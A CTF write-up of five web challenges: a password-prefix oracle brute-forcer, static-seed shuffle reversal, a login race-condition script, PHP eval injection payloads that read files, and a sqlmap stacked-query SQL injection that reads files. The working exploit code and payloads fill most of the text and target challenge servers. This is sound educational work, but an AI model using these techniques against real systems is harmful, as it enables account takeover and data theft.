web
Challenges

grandas_notes

My grandma is into vibe coding and has developed this web application to help her remember all the important information. It would work be great, if she wouldn't keep forgetting her password, but she's found a solution for that, too.
❯ unzip -l source.zip
Archive: source.zip
Length Date Time Name
--------- ---------- ----- ----
0 2025-08-08 16:46 grandmas_notes-challenge/
828 2025-08-08 17:10 grandmas_notes-challenge/docker-compose.yml
0 2025-08-08 16:46 grandmas_notes-challenge/app/
99 2025-08-08 16:50 grandmas_notes-challenge/app/init.php
1254 2025-08-08 16:52 grandmas_notes-challenge/app/login.php
1957 2025-08-08 17:12 grandmas_notes-challenge/app/index.php
1164 2025-08-08 14:43 grandmas_notes-challenge/app/dashboard.php
322 2025-08-08 14:43 grandmas_notes-challenge/app/Dockerfile
3538 2025-08-08 16:48 grandmas_notes-challenge/app/config.php
1470 2025-08-08 16:52 grandmas_notes-challenge/app/register.php
97 2025-08-08 14:43 grandmas_notes-challenge/app/entrypoint.sh
73 2025-08-08 14:43 grandmas_notes-challenge/app/logout.php
472 2025-08-08 17:19 grandmas_notes-challenge/app/save_note.php
--------- -------
11274 13 files
tl;dr: The login.php
endpoint leaks how many leading characters of the submitted password are correct via a flash message (“you got X characters correct!”). (🗣️🗣️grandma should not be vibe coding~)
Because that prefix count is available for any user, we can incrementally brute-force the admin password one character at a time: try all printable characters for the next position and keep the one that bumps the count. Once we have the full password, we log in as admin
and read the note (the flag) from dashboard.php
.

Okay now here is the long version. Now first look at the code base, we need to identify where is the flag?
In docker file (as environment variable) access by the web app in config.php
when it seed the data for the webapp. And later on It lives in the database, in the users.note
column for the admin user, and is displayed to the logged-in user on the dashboard.
// config.php:upsert_admin()
$adminUser = getenv('ADMIN_USERNAME') ?: 'admin';
$adminPass = getenv('ADMIN_PASSWORD') ?: 'changeme_admin';
$adminNote = getenv('ADMIN_NOTE') ?: 'FAKEFLAG';
...
UPDATE/INSERT users (..., password_hash, note)
...
// also populates password_chars with per-position SHA-256 hashes
So obviously, naive solution is log in as admin → GET /dashboard.php
→ read <textarea name="note">…</textarea>
. But we do know that the username is "admin" but how do we get the password?
On failed login, the code compares the submitted password from the start against those stored hashes and returns how many front characters match. That creates a prefix oracle: we can recover the password by growing a correct prefix one character at a time, then log in and fetch the note.
After a password failure, the code leaks a prefix match count:
$chars = preg_split('//u', $password, -1, PREG_SPLIT_NO_EMPTY);
$q = $pdo->prepare("SELECT position, char_hash FROM password_chars WHERE user_id = ? ORDER BY position ASC");
$q->execute([(int)$user['id']]);
$stored = $q->fetchAll();
$correct = 0;
$limit = min(count($chars), count($stored));
for ($i = 0; $i < $limit; $i++) {
$enteredCharHash = sha256_hex($chars[$i]);
if (hash_equals($stored[$i]['char_hash'], $enteredCharHash)) {
$correct++;
} else {
break;
}
}
$_SESSION['flash'] = "Invalid password, but you got {$correct} characters correct!";
Exploit strategy:
Target:
admin
.Initialize an empty prefix
""
.For position i = 0..:
For each printable character
c
:Submit login
(username=admin, password=prefix + c)
.If we get the dashboard → we’re done (full password matched).
Else read the flash: “you got X characters correct!”
If
X == len(prefix) + 1
, keepc
(it’s correct for this position) and move to the next position.
Repeat until we log in (or until the prefix stops growing → adjust charset).
import re
import string
import sys
import requests
BASE = "http://52.59.124.14:5015/"
USERNAME = "admin"
TIMEOUT = 10
CHARSET = (
string.ascii_lowercase
+ string.ascii_uppercase
+ string.digits
+ string.punctuation
+ " "
)
FLASH_RE = re.compile(r"got\s+(\d+)\s+characters\s+correct", re.I)
def request_prefix_match(
session: requests.Session, password_guess: str
) -> tuple[int, bool, str]:
resp = session.post(
BASE + "login.php",
data={"username": USERNAME, "password": password_guess},
timeout=TIMEOUT,
allow_redirects=True,
)
text = resp.text
if "Dashboard" in text and "Logged in as" in text:
return (len(password_guess), True, text)
m = FLASH_RE.search(text)
if not m:
return (0, False, text)
return (int(m.group(1)), False, text)
def recover_password(max_len: int = 16) -> str:
session = requests.Session()
prefix = ""
while len(prefix) < max_len:
progressed = False
for ch in CHARSET:
guess = prefix + ch
matched, logged_in, _ = request_prefix_match(session, guess)
if logged_in:
return guess
if matched == len(prefix) + 1:
prefix = guess
print(prefix, flush=True)
progressed = True
break
if not progressed:
break
return prefix
def get_admin_note(session: requests.Session) -> str:
r = session.get(BASE + "dashboard.php", timeout=TIMEOUT)
m = re.search(
r'<textarea[^>]*name="note"[^>]*>(.*?)</textarea>', r.text, re.S | re.I
)
return m.group(1) if m else ""
def main():
pwd = recover_password(16)
print(f"[+] Recovered (or best-effort) password: {pwd!r}")
s = requests.Session()
_, logged_in, _ = request_prefix_match(s, pwd)
if not logged_in:
print(
"[-] Not logged in; charset might be missing some character.",
file=sys.stderr,
)
sys.exit(1)
note = get_admin_note(s)
print("[+] Admin note:")
print(note)
main()
❯ python solve.py
Y
Yz
YzU
YzUn
YzUnh
YzUnh2
YzUnh2r
YzUnh2ru
YzUnh2ruQ
YzUnh2ruQi
YzUnh2ruQix
YzUnh2ruQix9
YzUnh2ruQix9m
YzUnh2ruQix9mB
YzUnh2ruQix9mBW
ENO{V1b3_C0D1nG_Gr4nDmA_Bu1ld5_InS3cUr3_4PP5!!}
ENO{V1b3_C0D1nG_Gr4nDmA_Bu1ld5_InS3cUr3_4PP5!!}
pwgen

Password policies aren't always great. That's why we generate passwords for our users based on a strong master password!
tl;dr: Takes a flag, seeds random with 0x1337
(static), then shuffles the flag's characters randomly. So to solve this....just (breh 🥀):
Get the shuffled flag from server
Create array of indices [0,1,2,3...]
Seed random with same
0x1337
Shuffle the indices array (gets same pattern as server used)
Use shuffled indices as a "reverse map" to put characters back in original positions

<?php
ini_set("error_reporting", 0);
ini_set("short_open_tag", "Off");
if(isset($_GET['source'])) {
highlight_file(__FILE__);
}
include "flag.php";
$shuffle_count = abs(intval($_GET['nthpw']));
if($shuffle_count > 1000 or $shuffle_count < 1) {
echo "Bad shuffle count! We won't have more than 1000 users anyway, but we can't tell you the master password!";
echo "Take a look at /?source";
die();
}
srand(0x1337); // the same user should always get the same password!
for($i = 0; $i < $shuffle_count; $i++) {
$password = str_shuffle($FLAG);
}
if(isset($password)) {
echo "Your password is: '$password'";
}
?>
Since the source is...like 1 file so the source is just right there you know...
Also, see that nthpw? yea, curl that sh
❯ curl "http://52.59.124.14:5003/?nthpw=1"
Your password is: '7F6_23Ha8:5E4N3_/e27833D4S5cNaT_1i_O46STLf3r-4AH6133bdTO5p419U0n53Rdc80F4_Lb6_65BSeWb38f86{dGTf4}eE8__SW4Dp86_4f1VNH8H_C10e7L62154'
<html>
<head>
<title>PWgen</title>
</head>
<body>
<h1>PWgen</h1>
<p>To view the source code, <a href="/?source">click here.</a>
</body>
</html>
Solve it in reverse
<?php
// 1. Paste the shuffled password from the server.
$shuffled_flag = '7F6_23Ha8:5E4N3_/e27833D4S5cNaT_1i_O46STLf3r-4AH6133bdTO5p419U0n53Rdc80F4_Lb6_65BSeWb38f86{dGTf4}eE8__SW4Dp86_4f1VNH8H_C10e7L62154';
// 2. Get the length of the flag.
$length = strlen($shuffled_flag);
// 3. Create an ARRAY of indices from 0 to length-1.
$indices = range(0, $length - 1);
// 4. Seed the random number generator with the same value as the server.
srand(0x1337);
// 5. Shuffle the array of indices. This shuffle is deterministic due to srand().
// The shuffled $indices array is now our "map".
// $indices[0] now holds the original index of the character that moved to position 0.
shuffle($indices);
// 6. Reconstruct the original flag.
$reconstructed_flag = str_repeat(' ', $length); // Create an empty string of the correct length.
for ($i = 0; $i < $length; $i++) {
// The character that ended up at position $i in the shuffled flag
// originally belonged at position $indices[$i].
$original_position = $indices[$i];
$reconstructed_flag[$original_position] = $shuffled_flag[$i];
}
echo "The original flag is: " . $reconstructed_flag . "\n";
?>
❯ php solve.php
The original flag is: ENO{N3V3r_SHUFFLE_W1TH_STAT1C_S333D_OR_B4D_TH1NGS_WiLL_H4pp3n:-/_0d68ea85d88ba14eb6238776845542cf6fe560936f128404e8c14bd5544636f7}
ENO{N3V3r_SHUFFLE_W1TH_STAT1C_S333D_OR_B4D_TH1NGS_WiLL_H4pp3n:-/_0d68ea85d88ba14eb6238776845542cf6fe560936f128404e8c14bd5544636f7}
webby

MFA is awesome! Even if someone gets our login credentials, and they still can't get our secrets!
tl;dr: The app marks a user logged in before doing MFA, then flips that flag back to False
after generating an MFA token with bcrypt cost=14 (slow).
During that slow window, the session cookie holds loggedIn=True
+ username=admin
. Hitting /flag
with the same cookie inside that window returns the flag. What we need to do is: we trigger the login and, in parallel, spam /flag
until one request lands in the race.
To get the source...you do /?source=1 (pretty neat, aye?)
Alrighty, where is the flag? — The value is read from
/tmp/flag.txt
intoFLAG
and rendered only by the/flag
handler:FLAG = open("/tmp/flag.txt").read() ... class flag: def GET(self): if not session.get("loggedIn",False) or not session.get("username",None) == "admin": raise web.seeother('/') else: session.kill() return render.flag(FLAG)
(So: be admin
and be loggedIn
when you hit /flag
.)
What lines of code is vulnerable?
# after password is correct
session.loggedIn = True # (1) SET TRUE
session.username = i.username
session._save()
if check_mfa(session.get("username", None)): # admin -> True
session.doMFA = True
session.tokenMFA = hashlib.md5(
bcrypt.hashpw(str(secrets.randbits(random.randint(40,65))).encode(),
bcrypt.gensalt(14)) # (2) SLOW bcrypt(14)
).hexdigest()
session.loggedIn = False # (3) SET FALSE AFTER
session._save()
raise web.seeother("/mfa")
In /flag
:
if not session.get("loggedIn",False) or session.get("username") != "admin":
raise web.seeother('/')
The code saves
loggedIn=True
before MFA completes.It performs slow work (bcrypt(14)) before resetting
loggedIn=False
./flag
does not check that MFA passed—onlyloggedIn
+username
.
This produces a time-of-check/time-of-use race window where the session is already “logged in” as admin.
Exploit strategry:
Get a fresh session cookie:
GET /
→webpy_session_id
.Start login as
admin:admin
in the background using that cookie.Server sets
loggedIn=True; username=admin; save()
Server spends ~hundreds of ms doing bcrypt(14).
Only after that it flips
loggedIn=False
.
Hammer
/flag
with the same cookie during that slow window.One request lands while
loggedIn=True
→/flag
returns the flag page.
import concurrent.futures
import re
import sys
import threading
import time
import requests
BASE = "http://52.59.124.14:5010"
USER, PW = "admin", "admin"
DURATION = 5.0 # seconds to hammer /flag after starting login
CONCURRENCY = 80 # parallel /flag requests per burst
BURST_SIZE = 200 # requests per loop iteration
found = threading.Event()
flag_text = [""]
def get_sid():
r = requests.get(BASE, timeout=5)
sid = r.cookies.get("webpy_session_id")
if not sid:
raise RuntimeError("No webpy_session_id cookie")
return sid
def start_login(sid):
# fire the login that sets loggedIn=True before bcrypt(14)
requests.post(
BASE + "/",
data={"username": USER, "password": PW},
cookies={"webpy_session_id": sid},
timeout=15,
)
def try_flag(sid):
if found.is_set():
return
r = requests.get(BASE + "/flag", cookies={"webpy_session_id": sid}, timeout=4)
if r.status_code == 200 and re.search(r"ENO\{.*?\}", r.text):
flag_text[0] = r.text
found.set()
def attempt_round():
sid = get_sid()
# kick the login in the background; don't wait for it
threading.Thread(target=start_login, args=(sid,), daemon=True).start()
deadline = time.time() + DURATION
with concurrent.futures.ThreadPoolExecutor(max_workers=CONCURRENCY) as ex:
while time.time() < deadline and not found.is_set():
futures = [ex.submit(try_flag, sid) for _ in range(BURST_SIZE)]
concurrent.futures.wait(futures, timeout=0.25)
for round_no in range(1, 20):
attempt_round()
if found.is_set():
print("\nFLAG\n")
print(flag_text[0])
sys.exit(0)
print("Not yet — run again (someone is bruteforcing the server sh).")
❯ python solve.py
FLAG
<html>
<head>
<title>Webby: Flag</title>
</head>
<body>
<h1>Webby: Flag</h1>
<p>ENO{R4Ces_Ar3_3ver1Wher3_Y3ah!!}</p>
<a href="/logout">Logout</a>
</body>
</html>
ENO{R4Ces_Ar3_3ver1Wher3_Y3ah!!}
Slasher

Slashing all the slashes...
note: this was a hard challenge to me since I went for a funny ahh route, but it didn't give out much it was a header injection challenge tbh...This probably the hardest web challege of this batch imo. Except the dogv2, I have a sense of what to do but me sleep...💤
tl;dr: The page evaluates whatever you POST into input
with eval("$input;")
. The challenge tries to “sanitize” it with htmlentities
, addslashes
, and addcslashes
, but because the code is evaluated unquoted, slashes don’t neutralize PHP tokens.
Since we can still call built-in functions, we can exploit this by using only function calls (without quotes or variables) to traverse the filesystem. By chaining opendir()
and readdir()
to walk through the current directory, then using readfile()
to stream file contents, we can discover flag.php
and extract the flag.
There's also an alternative solution via header injection, but I pursued the file-traversal route instead. I wasn't able to think logically the specific logic that made this a header injection challenge (although I thought simply call getallheaders()
or read $_SERVER['HTTP_*']
and lets you smuggle data via headers and then do readfile(<value-from-headers>)
inside the eval somewhat...make senses?
The page included the source, which is quite nice, here is the long version of my writeup.
<?php
ini_set("error_reporting", 0);
ini_set("short_open_tag", "Off");
set_error_handler(function($_errno, $errstr) {
echo "Something went wrong!";
});
if(isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
include "flag.php";
$output = null;
if(isset($_POST['input']) && is_scalar($_POST['input'])) {
$input = $_POST['input'];
$input = htmlentities($input, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
$input = addslashes($input);
$input = addcslashes($input, '+?<>&v=${}%*:.[]_-0123456789xb `;');
try {
$output = eval("$input;");
} catch (Exception $e) {
// nope, nothing
}
}
?>
...
Now, lets see where is the flag?:
include "flag.php"; // loads the flag into scope
Therefore, reading flag.php
or causing the page to print its contents will show the flag. My focus are on these lines
if (isset($_GET['source'])) { highlight_file(__FILE__); die(); }
include "flag.php"; // <— flag file on disk
...
$output = eval("$input;"); // <— executes our code
...
<?php if($output) { ?>
<div class="result" id="resultText"><?php echo htmlentities($output); ?></div>
<?php } ?>
Again, as mentioned that they challenge will tries to sanitizes our input and prevent us from doing our shenanigans (highlighted lines of code above):
That is why we need to craft an eval payload that:
avoids quotes/variables (they’re backslash-escaped),
uses only function calls and operator chaining,
lists files in the working directory and prints each with
readfile()
If you think about this methodically, the filters fail?
The eval sees the raw PHP code ($input supposed to be a strings...give it some quotes man).
Backslashes don’t stop tokens like
opendir
,readdir
,readfile
, parentheses, commas, pipes, etc.An error handler suppresses warnings, so failed attempts don’t reveal much —but we don’t need them. (good job bozo, I test this locally with
php -S localhost:8000
)
I was able to do an equivalent to a "ls" command and see what we are dealing with
curl -s -X POST 'http://52.59.124.14:5011' --data-urlencode 'input=print(join(scandir(getcwd())))'
...Dockerfiledocker-compose.ymlflag.phpindex.phpstyle.css
Assume the web root contains
., .., Dockerfile, docker-compose.yml, flag.php, index.php, style.css
Now how would we print the flag and access the flag.php? — well it is is sitting at...index 5? including the .
and ..
I will be using
readfile
to achieve this (small note that this payload took me a fat minutes to figured out). Here is a bit of visualization for ya.
[ 🐧 ] ── POST input= strlen(readdir(opendir(getcwd()))) | @readfile(readdir()) | ...
│
▼
[index.php]
sanitize(input) ────────────────────────────────┐
eval("$input;") (unquoted) │
│ │
├─ getcwd() → "/var/www/html" │
├─ opendir() → H │
├─ readdir(H) → "." → strlen(".") → 1 │
├─ readdir(H) → ".." → @readfile("..") → 0 │ (warning suppressed)
├─ readdir(H) → "Dockerfile" → readfile() ─┐ │ (prints file)
├─ readdir(H) → "docker-compose.yml" ──────┤ │ (prints file)
├─ readdir(H) → "flag.php" ────────────────┤ │ (prints flag)
├─ readdir(H) → "index.php" ───────────────┤ │ (prints file)
└─ readdir(H) → "style.css" ───────────────┘ │ (prints file)
▼ │
$output = 1 | 0 | N1 | N2 | N3 | N4 | N5 (>0) │
│
render template ───────────────► HTML + printed file contents (flag visible)
curl -s -X POST http://52.59.124.14:5011 \
--data-urlencode 'input=strlen(readdir(opendir(getcwd())))|@readfile(readdir())|@readfile(readdir())|@readfile(readdir())|@readfile(readdir())|@readfile(readdir())'
...
$FLAG = "ENO{3v4L_0nC3_Ag41n_F0r_Th3_W1n_:-)}";
...
ENO{3v4L_0nC3_Ag41n_F0r_Th3_W1n_:-)}
Take away:
readdir()
without a handle uses the last opendir handle, so you can iterate without variables.readfile()
prints as a side effect, so the flag is emitted even if$output
is just an integer.🥀
dogfinder

I like dogs, so I wrote this awesome dogfinder page. Somewhere on the filesystem is a nice treat for you.
This was solved by my teammate "anar" (🗣️🗣️🔥🥀), really want to see the official writeups or the intended solution of this challenge...As our path to solve this challenge at the time was quite guessy (not my favorite thing). Regardless, it was ... rough.
❯ sqlmap -u "http://52.59.124.14:5020/?name=&breed=&min_age=&max_age=&page=2&order=id" \
-p order \
--dbms=PostgreSQL \
--batch \
--flush-session \
--technique=S \
--threads=1 --delay=0.2 \
--sql-query "SELECT pg_read_file('flag.txt')" \
--dump-format=CSV
___
__H__
___ ___[']_____ ___ ___ {1.8.4#stable}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:53:47 /2025-09-04/
[12:53:47] [INFO] flushing session file
[12:53:47] [INFO] testing connection to the target URL
[12:53:47] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:53:48] [WARNING] heuristic (basic) test shows that GET parameter 'order' might not be injectable
[12:53:48] [INFO] testing for SQL injection on GET parameter 'order'
[12:53:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[12:53:48] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)
[12:54:05] [INFO] GET parameter 'order' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] Y
[12:54:05] [INFO] checking if the injection point on GET parameter 'order' is a false positive
GET parameter 'order' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
---
Parameter: order (GET)
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: name=&breed=&min_age=&max_age=&page=2&order=id;SELECT PG_SLEEP(5)--
---
[12:54:16] [INFO] the back-end DBMS is PostgreSQL
[12:54:16] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
back-end DBMS: PostgreSQL
[12:54:19] [INFO] fetching SQL SELECT statement query output: 'SELECT pg_read_file('flag.txt')'
[12:54:19] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
ENO{CuT3_D0GG0S_T0_F1nD_Ev3r
[12:59:30] [ERROR] invalid character detected. retrying..
[12:59:30] [WARNING] increasing time delay to 6 seconds
[12:59:38] [ERROR] invalid character detected. retrying..
[12:59:38] [WARNING] increasing time delay to 7 seconds
1Wh3re_<3}
SELECT pg_read_file('flag.txt'): 'ENO{CuT3_D0GG0S_T0_F1nD_Ev3r1Wh3re_<3}\n'
[13:02:00] [INFO] fetched data logged to text files under '/home/dreams/.local/share/sqlmap/output/52.59.124.14'
[13:02:00] [WARNING] your sqlmap version is outdated
[*] ending @ 13:02:00 /2025-09-04/
ENO{CuT3_D0GG0S_T0_F1nD_Ev3r1Wh3re_<3}
dogfinderv2 (upsolve)

I still like dogs, so I tried to make the previous version more secure. The treat is now in the root directory - that should help, shouldn't it?
I have a feeling it has to do something with listening the request via rce, as I was able to dump some of the permission and file using sqlmap, but i didn't solve it in time :<.
todo: ...lazy
Last updated